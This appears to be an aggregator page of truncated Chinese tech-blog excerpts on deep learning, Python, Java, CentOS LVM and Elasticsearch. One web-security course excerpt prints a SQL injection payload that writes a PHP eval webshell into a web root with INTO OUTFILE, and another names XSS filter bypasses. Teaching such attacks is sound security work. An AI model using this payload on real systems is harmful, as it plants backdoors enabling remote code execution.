sigmoid: Relu: 为什么通常Relu比sigmoid和tanh强,有什么不同?主要是因为它们gradient特性不同. 1.sigmoid和tanh的gradient在饱和区域非常平缓,接近于0,很容易造成vanishing gradient的问题,减缓收敛速度.vanishing gradient在网络层数多的时候尤其明显,是加深网络结构的主要障碍之一.相反,Relu的gradient大多数情况下是常数,有助于解决深层网络的收敛问题. 2.Relu的另一个优势是在生物上的合理性,它…

python3.4学习笔记(十六) windows下面安装easy_install和pip教程 easy_install和pip都是用来下载安装Python一个公共资源库PyPI的相关资源包的 首先安装easy_install 下载地址:https://pypi.python.org/pypi/ez_setup 解压,安装方法cmd进入到对应目录下,执行命令:python ez_setup.py------------------------------------C:\Users\Admini…

java学习第十六周-并发        本周,学习了Java中线程,并发的知识,在老师的带领下,进行了对知识的理解学习,以及对实验的运行讲解,对这一块内容掌握的还可以,在自主编程中,也能够完成.线,下面进行简单的重点总结:       java线程中的五种基本状态:新建状态(New):当线程对象对创建后,即进入了新建状态,如:Thread t = new MyThread(); 就绪状态(Runnable):当调用线程对象的start()方法(t.start();),线程即进入就绪状态.处于就…

UFLDL深度学习笔记 (六)卷积神经网络 1. 主要思路 "UFLDL 卷积神经网络"主要讲解了对大尺寸图像应用前面所讨论神经网络学习的方法,其中的变化有两条,第一,对大尺寸图像的每个小的patch矩阵应用相同的权值来计算隐藏层特征,称为卷积特征提取:第二,对计算出来的特征矩阵做"减法",把特征矩阵纵横等分为多个区域,取每个区域的平均值(或最大值)作为输出特征,称为池化.这样做的原因主要是为了降低数据规模,对于8X8的图像输入层有64个单元,而100X100的图像…

目录 学习笔记:CentOS7学习之十六:LVM管理和ssm存储管理器使用 16.1 LVM的工作原理 16.1.1 LVM常用术语 16.1.2 LVM优点 16.2 创建LVM的基本步骤 16.2.1 lvm常用的命令 16.2.2 创建并使用LVM逻辑卷 16.2.3 指定PE大小 16.2.4 LV扩容 16.2.5 VG扩容 16.2.6 LVM缩小(实际工作中基本遇不到,尽量避免) 16.2.7 LVM删除 16.3 SSM工具介绍 学习笔记:CentOS7学习之十六:LVM管理和s…

风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说…

风炫安全Web安全学习第十六节课 高权限sql注入getshell sql高权限getshell 前提条件: 需要知道目标网站绝对路径 目录具有写的权限 需要当前数据库用户开启了secure_file_priv select database() into outfile '/var/www/html/1.txt' allen' union select 1,'<?php eval($_GET[w]); ?>' into outfile '/var/www/html/2.php' # site…

深度学习之 rnn 台词生成 写一个台词生成的程序,用 pytorch 写的. import os def load_data(path): with open(path, 'r', encoding="utf-8") as f: data = f.read() return data text = load_data('./moes_tavern_lines.txt')[81:] train_count = int(len(text) * 0.6) val_count = int(l…

难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第六十六章:抽象类与接口详细对比 下一章 "全栈2019"Java第六十七章:内部类.嵌套类详解 学习小组 加入同步学习小组,共同交流与进步. 方式一:关注头条号Gorhaf,私信"Java学习小组". 方式二:关注公众号Gorhaf,回复"Java学习小组&q…

第三百六十六节,Python分布式爬虫打造搜索引擎Scrapy精讲—elasticsearch(搜索引擎)的bool组合查询 bool查询说明 filter:[],字段的过滤,不参与打分must:[],如果有多个查询,都必须满足[并且]should:[],如果有多个查询,满足一个或者多个都匹配[或者]must_not:[],相反查询词一个都不满足的就匹配[取反,非] # bool查询 # 老版本的filtered已经被bool替换 #用 bool 包括 must should must_not…